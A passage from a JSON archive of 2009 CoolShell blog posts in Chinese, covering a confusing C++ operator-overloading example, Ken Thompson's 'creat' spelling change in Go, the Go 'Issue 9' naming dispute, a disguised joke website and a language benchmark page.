href=\"https://coolshell.cn/articles/1761.html\"><img alt=\"Go语言源码的一个改动\" height=\"150\" src=\"../wp-content/uploads/2009/11/spell_it_with_e-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1761.html\">Go语言源码的一个改动</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22398.html\"><img alt=\"我看ChatGPT: 为啥谷歌掉了千亿美金\" height=\"150\" src=\"../wp-content/uploads/2023/02/chatgpt-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22398.html\">我看ChatGPT: 为啥谷歌掉了千亿美金</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22242.html\"><img alt=\"ETCD的内存问题\" height=\"150\" src=\"../wp-content/uploads/2022/05/etcd-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22242.html\">ETCD的内存问题</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21615.html\"><img alt=\"Go编程模式 ： 泛型编程\" height=\"150\" src=\"../wp-content/uploads/2021/09/go-generics-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21615.html\">Go编程模式 ： 泛型编程</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1751.html\">Go 语言：Google 的新编程语言</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-11-11 恐怖的C++语言.html",
    "content": "<html><body><p><a href=\"https://coolshell.cn/wp-content/uploads/2009/11/cpp.jpg\"><img alt=\"我爱C++\" class=\"alignright size-medium wp-image-1740\" height=\"144\" src=\"../wp-content/uploads/2009/11/cpp-300x216.jpg\" title=\"我爱C++\" width=\"200\"/></a> Linus曾经(2007年9月)在新闻组<a href=\"http://news.gmane.org/gmane.comp.version-control.git\" target=\"_top\">gmane.comp.version-control.git</a>里和一个微软的工程师（Dmitry Kakurin）争执过用C还是用C++，当时的那个微软的工程师主要是在做Git的Windows版，但他却发现Git的源码居然是C语言写的，而不是C++，于是他（Dmitry Kakurin）在Linux社区里发贴表示对Linux的不满，语言很直接：</p>\n<blockquote>\n<p style=\"padding-left: 30px;\">Pure C as opposed to C++. No idea why. Please don’t talk about portability, it’s BS. （<span style=\"color: #008000;\">纯C写的，而不是C++，不知道为什么，请别告诉我是为了移植性，这完全是胡扯</span>。）</p>\n</blockquote>\n<p>Linux之父Linus Torvalds马上跟贴，在贴子中，Linus言辞很直接，直接表明C++是一个很恐怖的语言，他在<a href=\"http://thread.gmane.org/gmane.comp.version-control.git/57643/focus=57918\" target=\"_blank\"><strong>贴子</strong></a>中说：</p>\n<blockquote>\n<p style=\"padding-left: 30px;\"><strong>*YOU*</strong> are full of bullshit. C++ is a horrible language. It’s made more horrible by the fact that a lot of substandard programmers use it. （<span style=\"color: #008000;\">你才是完全在胡扯。C++是一门很恐怖的语言，而比它更恐怖的是很多不合格的程序员在使用着它</span>）</p>\n</blockquote>\n<p>Linus的这个观点我是比较同意的，我个人也在几年前的《<a href=\"http://blog.csdn.net/haoel/archive/2004/06/23/24058.aspx\" target=\"_blank\">STL String类的写时才拷贝</a>》以及以后的一些文章中表达过C++的确并不是一个很成熟的语言，这种观点一直都围绕着我。这是因为它的学习成本实在是太高了，编译器和类背着你做了很多你不知道的事，而且，C++非常容易地出错和发生很多意想不到的问题。</p>\n<p>当然，这篇文章并不是要继续声讨C++，也不是回顾以前的某个事件。我们这里只谈技术。昨天，我在网上看到一个邪恶的C++的示例，在这里给大家share一下，让大家看看C++这种编程语言的恐怖和邪恶的一面。下面的这个例子，比那个“#define  private  public”还更加邪恶。</p>\n<p><span id=\"more-1724\"></span></p>\n<p>请看下面这段代码，你能告诉我它会输出什么吗？（注意main函数中高亮的那一行）</p>\n<pre class=\"EnlighterJSRAW\">#include &lt;iostream&gt;\n#include &lt;vector&gt;\n\ntypedef int UINT4;\nusing namespace std;\nclass Hack\n{\n};\n\nHack&amp; operator&lt; (Hack &amp;a , Hack &amp;b)\n{\n    std::cerr &lt;&lt; \"小于操作符\\n\";\n    return a;\n}\n\nHack&amp; operator&gt; (Hack &amp;a, Hack &amp;b)\n{\n    std::cerr &lt;&lt;  \"大于操作符\\n\";\n    return a;\n}\n\nint main(int argc, char ** argv)\n{\n    Hack vector;\n    Hack UINT4;\n    Hack foo;\n\n    vector&lt;UINT4&gt; foo;\n\nreturn(0);\n}</pre>\n<p style=\"text-align: left;\"><img alt=\"不是吧\" class=\"alignleft\" height=\"96\" src=\"../wp-content/uploads/2009/11/bushiba-150x150.jpg\" title=\"不是吧\" width=\"98\"/>是的，上面这段代码如果只看main函数中的那句“vector&lt;UINT4&gt; foo”，你会觉得很眼熟，然而，事情并非那么简单，我们可以看到vector, UINT4和foo都是Hack类的实例，这就是邪恶的开始，那两个尖括号&lt; &gt;则成了两个运算符，大于和小于，这两个运算符却又被重载了。其实，真正的语句是：</p>\n<p><code class=\"EnlighterJSRAW\">vector.operator&lt;(UNIT4).operator&gt;(foo);</code></p>\n<p>所以，所有的一切都符合我们的C++的规范和语法，自然程序也能被顺利编译通过（至少，在我的G++上是没有问题的）。而整个程序的运行结果自然是：</p>\n<pre class=\"EnlighterJSRAW\">$ ./horror\n小于操作符\n大于操作符</pre>\n<p>是的，如果你通晓C++的一切的一切，你自然不会对这段程序感到惊奇。这样的事情在C/C++的世界中并不少见，要搞乱C/C++的代码并不是一件难事，花样多得数不胜数，只要看看《<a href=\"https://coolshell.cn/articles/914.html\" title=\"6个变态的C语言Hello World程序 - 4,749 次浏览\">6个变态的C语言Hello World程序</a>》你就知道了，而且，还有一个简单的教程《<a href=\"https://coolshell.cn/articles/933.html\" title=\"如何加密/混乱C源代码 - 2,420 次浏览\">如何加密/混乱C源代码</a>》告诉你一些简单的做法。</p>\n<p>那么，如果你有一天在读程序中看到“vector&lt;UINT4&gt; foo”，你会觉得那只是一个幻觉吗？</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20845.html\"><img alt=\"Rust语言的编程范式\" height=\"150\" src=\"../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20845.html\">Rust语言的编程范式</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18024.html\"><img alt=\"API设计原则 – Qt官网的设计实践总结\" height=\"150\" src=\"../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18024.html\">API设计原则 – Qt官网的设计实践总结</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12052.html\"><img alt=\"Leetcode 编程训练\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12052.html\">Leetcode 编程训练</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12012.html\"><img alt=\"State Threads 回调终结者\" height=\"150\" src=\"../wp-content/uploads/2014/10/edsm-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12012.html\">State Threads 回调终结者</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11466.html\"><img alt=\"C语言的整型溢出问题\" height=\"150\" src=\"../wp-content/uploads/2014/04/c99-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11466.html\">C语言的整型溢出问题</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1724.html\">恐怖的C++语言</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-11-12 Go语言源码的一个改动.html",
    "content": "<html><body><p>2009年11月11日，光棍节，<a href=\"https://coolshell.cn/articles/1751.html\" target=\"_blank\">Google发布了Go语言</a>，马上，就有网友在<a href=\"http://code.google.com/p/go/\" target=\"_blank\">http://code.google.com/p/go/</a>上找到了一个Go语言包文件操作源码/src/pkg/os/file.go文件的一个最新改动。这个改动的作者就是那个大名鼎鼎的Unix之父<a href=\"http://en.wikiquote.org/wiki/Kenneth_Thompson\" target=\"_blank\">Ken Thompson</a>（看看人家，都这么老了，还在写程序，佩服佩服，真是顶级程序员啊——《<a href=\"https://coolshell.cn/articles/343.html\" rel=\"bookmark\" target=\"_blank\">程序员的八个级别</a>》），而这个改动的<a href=\"http://code.google.com/p/go/source/detail?r=4a3f6bbb5f0c6021279ccb3c23558b3c480d995f\" target=\"_blank\">Log Message</a>如下所示（把屏抓下来，以免以后某日被放到墙外或是google.com数据丢失或是Google公司倒闭）</p>\n<p style=\"text-align: center;\"><span style=\"font-size: large;\">Spell it with an “e”<br/>\n</span><br/>\n<img alt=\"spell it with an e\" border=\"1\" class=\"size-full wp-image-1762\" height=\"344\" src=\"../wp-content/uploads/2009/11/spell_it_with_e.jpg\" title=\"spell it with an e\" width=\"474\"/></p>\n<p> </p>\n<p>这是一个很著名的典故，要知道这个典故，你需要知道两件事，一个是Ken Thompson的经典语录，一个是Unix的系统调用。</p>\n<p><span id=\"more-1761\"></span></p>\n<p>关于Ken Thompson的经典语录，你可以在wikipdia上的<a href=\"http://en.wikiquote.org/wiki/Kenneth_Thompson\" target=\"_blank\">Ken Thompson</a>词条中找到，这个事情是这样的。</p>\n<blockquote><p>Ken Thompson was once asked what he would do differently if he were redesigning the UNIX system. His reply: “<strong>I’d spell creat with an e.</strong>” （<span style=\"color: #008000;\">Ken Thompson有一次在被问到——如果他可以重新设计Unix系统，他会做些什么不同的事？而他回答到：“我会把“creat”多拼一个e”</span>）</p></blockquote>\n<p>“I’d spell creat with an e”，也就是说，他会把creat这个单词拼成<strong>creat</strong><span style=\"color: #ff0000;\"><strong>e</strong><span style=\"color: #000000;\">，而不是creat。为什么是creat呢，这需要我们来看一下creat这个系统调用，你可以在Unix或Linux下简单地<a href=\"http://linux.die.net/man/2/creat\" target=\"_blank\">man creat</a>你就可以知道，这个系统调用连带其某些参数，如：<strong>O_CREAT</strong>，都是一个少了“e”的create。（Unix下的有很多东西都是简写，如：usr，gp，ls，mv，ps，满大街的都是缩写）</span></span></p>\n<p><span style=\"color: #ff0000;\"><span style=\"color: #000000;\">看看这个改动的<a href=\"http://code.google.com/p/go/source/diff?spec=svn1f0a01c93d305f1ab636c68b67346659c5b957f7&amp;r=4a3f6bbb5f0c6021279ccb3c23558b3c480d995f&amp;format=side&amp;path=/src/pkg/os/file.go&amp;old_path=/src/pkg/os/file.go&amp;old=50a1ee94151635c25ad76816044252af417a45b8\" target=\"_blank\">diff</a>——这个diff只有一行，第65行，抓屏如下（理由同上）</span></span></p>\n<p style=\"text-align: center;\"><span style=\"color: #ff0000;\"><span style=\"color: #000000;\"><img alt=\"spell it with e  diff\" class=\"size-full wp-image-1763\" height=\"79\" src=\"../wp-content/uploads/2009/11/spell_it_with_e_diff.jpg\" title=\"spell it with e  diff\" width=\"487\"/></span></span></p>\n<p><span style=\"color: #ff0000;\"><span style=\"color: #000000;\">40年后的今天，Ken Thompson参与Go语言设计，于是，他提交了这个改动，也算是圆了他的愿望，从这点看来，Ken Thompson把Go语言看得和Unix一样重啊。难道Go语言也会像Unix一样成为另一个传奇？（Unix传奇 <a href=\"http://blog.csdn.net/haoel/archive/2007/03/27/1542340.aspx\" target=\"_blank\">上篇</a>，<a href=\"http://blog.csdn.net/haoel/archive/2007/03/27/1542353.aspx\" target=\"_blank\">下篇</a>）</span></span></p>\n<p><span style=\"color: #ff0000;\"><span style=\"color: #000000;\">（全文完）</span></span><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/19996.html\"><img alt=\"Unix 50 年：Ken Thompson 的密码\" height=\"150\" src=\"../wp-content/uploads/2019/11/ken.dennis-300x186-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/19996.html\">Unix 50 年：Ken Thompson 的密码</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9410.html\"><img alt=\"Unix考古记：一个“遗失”的shell\" height=\"150\" src=\"../wp-content/uploads/2013/04/figure1-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9410.html\">Unix考古记：一个“遗失”的shell</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7771.html\"><img alt=\"少即是极多\" height=\"150\" src=\"../wp-content/uploads/2012/06/Less-is-More-Box-ShopTab-300x282-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7771.html\">少即是极多</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3156.html\"><img alt=\"Go语言的”Issue 9″ Closed!\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3156.html\">Go语言的”Issue 9″ Closed!</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2322.html\"><img alt=\"Unix传奇(上篇)\" height=\"150\" src=\"../wp-content/uploads/2010/04/o_unixrichiethompson-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2322.html\">Unix传奇(上篇)</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1781.html\"><img alt=\"Go语言更名Issue 9？\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/25.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1781.html\">Go语言更名Issue 9？</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1761.html\">Go语言源码的一个改动</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-11-13 Go语言更名Issue 9？.html",
    "content": "<html><body><p>Go语言出了一个Issue，这个Issue的链接在这里：<a href=\"http://code.google.com/p/go/issues/detail?id=9\">http://code.google.com/p/go/issues/detail?id=9</a> ，这个Issue的编号是9描述是：</p>\n<blockquote><p><span>I have already used the name for *MY* programming language</span></p></blockquote>\n<p>意思是，已经有人使用了这go作为其语言的命名了。报告者叫fmccabe，他说到：</p>\n<blockquote><p><span>我已经从事于我的一个编程语言，而且都10年了。并且都有很多论文发表了。我非常感激你们Google如果把这个名字修改一下，因为我是不会修改我的语言的名字的！</span></p></blockquote>\n<p><span>于是，开始了回贴：</span></p>\n<ul>\n<li>1楼跟贴说，“给个链接看看”</li>\n<li>fmccabe在2楼说：“我出版了本书在lulu.com上”。</li>\n<li>3楼的说，“是的，你的语言叫“Go!”，你的书在：<a href=\"http://www.lulu.com/content/paperback-book/lets-go/641689\">http://www.lulu.com/content/paperback-book/lets-go/641689</a>”</li>\n<li>4楼说：“三楼你是对的，LZ的语言是‘Let’s Go!’或‘Go!’，Google的叫‘go’，根本就不同啊。”</li>\n<li>LZ不同意在5楼说：“是的，我的语言叫Go!，书名叫：Let’s Go!。而这里的问题不是Google的go是否会有名，而是公平性。”</li>\n</ul>\n<p><span>好事者从来都不少，后面的贴子可想而知了。众多网友纷纷支持LZ，让Google改名。</span></p>\n<ul>\n<li><span>11楼让LZ找个便宜的律师，还说Google的钱袋很深的。</span></li>\n<li><span>14楼的DailyFinance.com的一个MS记者的人也找上了。</span></li>\n<li><span>17楼建议Google改名Goo 或Foo</span></li>\n</ul>\n<p><span>于是，再往后的回贴，众网友们开始纷纷帮Google的go语言改名：<br/>\n<span id=\"more-1781\"></span></span></p>\n<ul>\n<li>25楼说，Goo也被用了。</li>\n<li>28楼说，应该叫GOOP = Google Object Oriented Programming</li>\n<li>29楼说，叫ogle</li>\n<li>30楼说，叫Goat</li>\n<li>31楼说，JAgo: Just Another go （42楼说，Jago也被用了）</li>\n<li>36楼说，go2。并说明，C++也使用了C的名字，用++做了后缀。所以，可以go2</li>\n<li>40楼说，为什么不叫Golang?Erlang – “Ericsson Language”和Golang – “Google Language”，多配啊。</li>\n<li>50楼说，干脆叫“Do”得了。</li>\n<li>53楼说，叫gone也可以啊。</li>\n<li>69楼说，大家别吵了，这是go的第9个issue，叫Issue 9最好。</li>\n</ul>\n<p>后面的网友们纷纷支持Issue 9，<strong>Issue 9</strong>的呼声最高。截止本文发表，大约有710个跟贴，在<a href=\"http://www.reddit.com/r/programming/comments/a351z/oohhhh_snap_i_have_already_used_the_name_go_for/\" target=\"_blank\">reddit.com</a>上也在580多个。网友的力量就是大啊。</p>\n<p>星期五了，耗子祝大家周末快乐！<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3156.html\"><img alt=\"Go语言的”Issue 9″ Closed!\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3156.html\">Go语言的”Issue 9″ Closed!</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1761.html\"><img alt=\"Go语言源码的一个改动\" height=\"150\" src=\"../wp-content/uploads/2009/11/spell_it_with_e-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1761.html\">Go语言源码的一个改动</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1751.html\"><img alt=\"Go 语言：Google 的新编程语言\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/28.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1751.html\">Go 语言：Google 的新编程语言</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22398.html\"><img alt=\"我看ChatGPT: 为啥谷歌掉了千亿美金\" height=\"150\" src=\"../wp-content/uploads/2023/02/chatgpt-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22398.html\">我看ChatGPT: 为啥谷歌掉了千亿美金</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22242.html\"><img alt=\"ETCD的内存问题\" height=\"150\" src=\"../wp-content/uploads/2022/05/etcd-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22242.html\">ETCD的内存问题</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21615.html\"><img alt=\"Go编程模式 ： 泛型编程\" height=\"150\" src=\"../wp-content/uploads/2021/09/go-generics-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21615.html\">Go编程模式 ： 泛型编程</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1781.html\">Go语言更名Issue 9？</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-11-16 在上班的时候浏览不相干网页.html",
    "content": "<html><body><p>相信大家在上班的时候都要去浏览很多与工作无关的网页，但总是害怕被同事尤其是老板看到，所以，你总是会有个“老板键”什么的。当有人从你身边经过的时候，你会很快速地切换你的桌面屏幕，让人看到你还在干与工作有关的事情了。</p>\n<p>现在，一个具有创意的天才解决方案出来了——为什么不把这些与工作无关的网站的样子都变成和工作相关呢？这里有一个示例，真让人拍案叫绝。不知道大家知不知道一个叫<a href=\"http://www.fmylife.com/\" target=\"_blank\">http://www.fmylife.com/</a>的网站？这个网站上都是一些“令人难堪”的小笑话，很多是荤的笑话，而有另一个网站是：<a href=\"http://fml.madsravn.dk/\">http://fml.madsravn.dk/</a>——这个网站就是fmylife的翻版，唯一不同的是，它把fmylife.com伪装成了一个Java 2 Platform SE v1.42的技术文档（请注意这个文档中的函数解释的内容），于是你就可以在上班的时候大胆地浏览fmylife.com上的内容了，因为那看起来就像在看Java的API文档。呵呵。</p>\n<p style=\"text-align: center;\"><img alt=\"Java Doc版的fmlife.com\" height=\"375\" src=\"../wp-content/uploads/2009/11/fmlife_javadoc.jpg\" title=\"Java Doc版的fmlife.com\" width=\"500\"/></p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22320.html\"><img alt=\"eBPF 介绍\" height=\"150\" src=\"../wp-content/uploads/2022/12/eBPF-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22320.html\">eBPF 介绍</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5.html\"><img alt=\"Java EE6 初探\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/20.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5.html\">Java EE6 初探</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1907.html\"><img alt=\"UI的恶梦\" height=\"150\" src=\"../wp-content/uploads/2009/12/badui2-300x224-1-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1907.html\">UI的恶梦</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1313.html\"><img alt=\"Erlang和Python互通\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1313.html\">Erlang和Python互通</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3605.html\"><img alt=\"为什么中国的网页设计那么烂？\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/3.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3605.html\">为什么中国的网页设计那么烂？</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1990.html\"><img alt=\"程序命名的一些提示\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/11.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1990.html\">程序命名的一些提示</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1808.html\">在上班的时候浏览不相干网页</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-11-16 程序语言性能比拼.html",
    "content": "<html><body><p><a href=\"https://coolshell.cn/wp-content/uploads/2009/11/govsgnuc.jpg\"></a><a href=\"https://coolshell.cn/wp-content/uploads/2009/11/govsgnuc.jpg\"></a><a href=\"https://coolshell.cn/wp-content/uploads/2009/11/govsgnuc.jpg\"></a> <a href=\"https://coolshell.cn/wp-content/uploads/2009/11/measurements_table.jpg\"></a> 下面这个网页，你可以比较各种程序语言的性能：</p>\n<p style=\"text-align: center;\"><a href=\"http://shootout.alioth.debian.org/u64/index.php\">http://shootout.alioth.debian.org/u64/index.php</a></p>\n<p style=\"text-align: left;\">这个页面，安装的是x64 Ubuntu，CPU是Intel® Q6600® 单核。这个网页支持的语言很多，什么C，C++，Java，python，PHP，Erlang，C#，Ruby，……，还有最新的G0语言。</p>\n<p style=\"text-align: left;\">在主页上，你可以选择一个语言。比如，我们选择Google的Go语言——Go 6g8g，然后，点击Show按钮，于是，你会看到下面这个界面：</p>\n<p style=\"TEXT-ALIGN: center;\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/11/govsgnuc.jpg\"><img alt=\"go vs gnuc\" height=\"404\" src=\"../wp-content/uploads/2009/11/govsgnuc.jpg\" title=\"go vs gnuc\" width=\"525\"/></a> <a href=\"https://coolshell.cn/wp-content/uploads/2009/11/govsgnuc.jpg\"></a><a href=\"https://coolshell.cn/wp-content/uploads/2009/11/govsgnuc.jpg\"></a></p>\n<p style=\"text-align: left;\">在这个界面上方，你可以选择两种语言，我们选择的是，上面的是Go 6g8g，而下面是的GNU C，于是下面的图表，是这两个语言各种参数和算法的比较图表。</p>\n<p style=\"text-align: left;\"><span id=\"more-1788\"></span></p>\n<p style=\"text-align: left;\">在这个图表中，其实就是“Go的性能” 除以 “C的性能”，所以，</p>\n<ul>\n<li>\n<div style=\"text-align: left;\">如果柱状图是大于1的（也就是基线以上的）则说明Go的性能不如C。</div>\n</li>\n<li>\n<div style=\"text-align: left;\">如果柱状图小于1的（也就是基线以下的），说明Go的性能超过了C。</div>\n</li>\n</ul>\n<p style=\"text-align: left;\">再往下，是用来做比较的算法的图表，如下所示。在这个表中，我们可以看到很多算法，单击语言的链接，你就可以看到具体的实现源代码了。</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/11/measurements_table.jpg\"></a></p>\n<p style=\"text-align: center;\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/11/measurements_table.jpg\"><img alt=\"measurements table\" height=\"290\" src=\"../wp-content/uploads/2009/11/measurements_table.jpg\" title=\"measurements table\" width=\"495\"/></a></p>\n<p style=\"text-align: left;\"> （全文完）</p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p 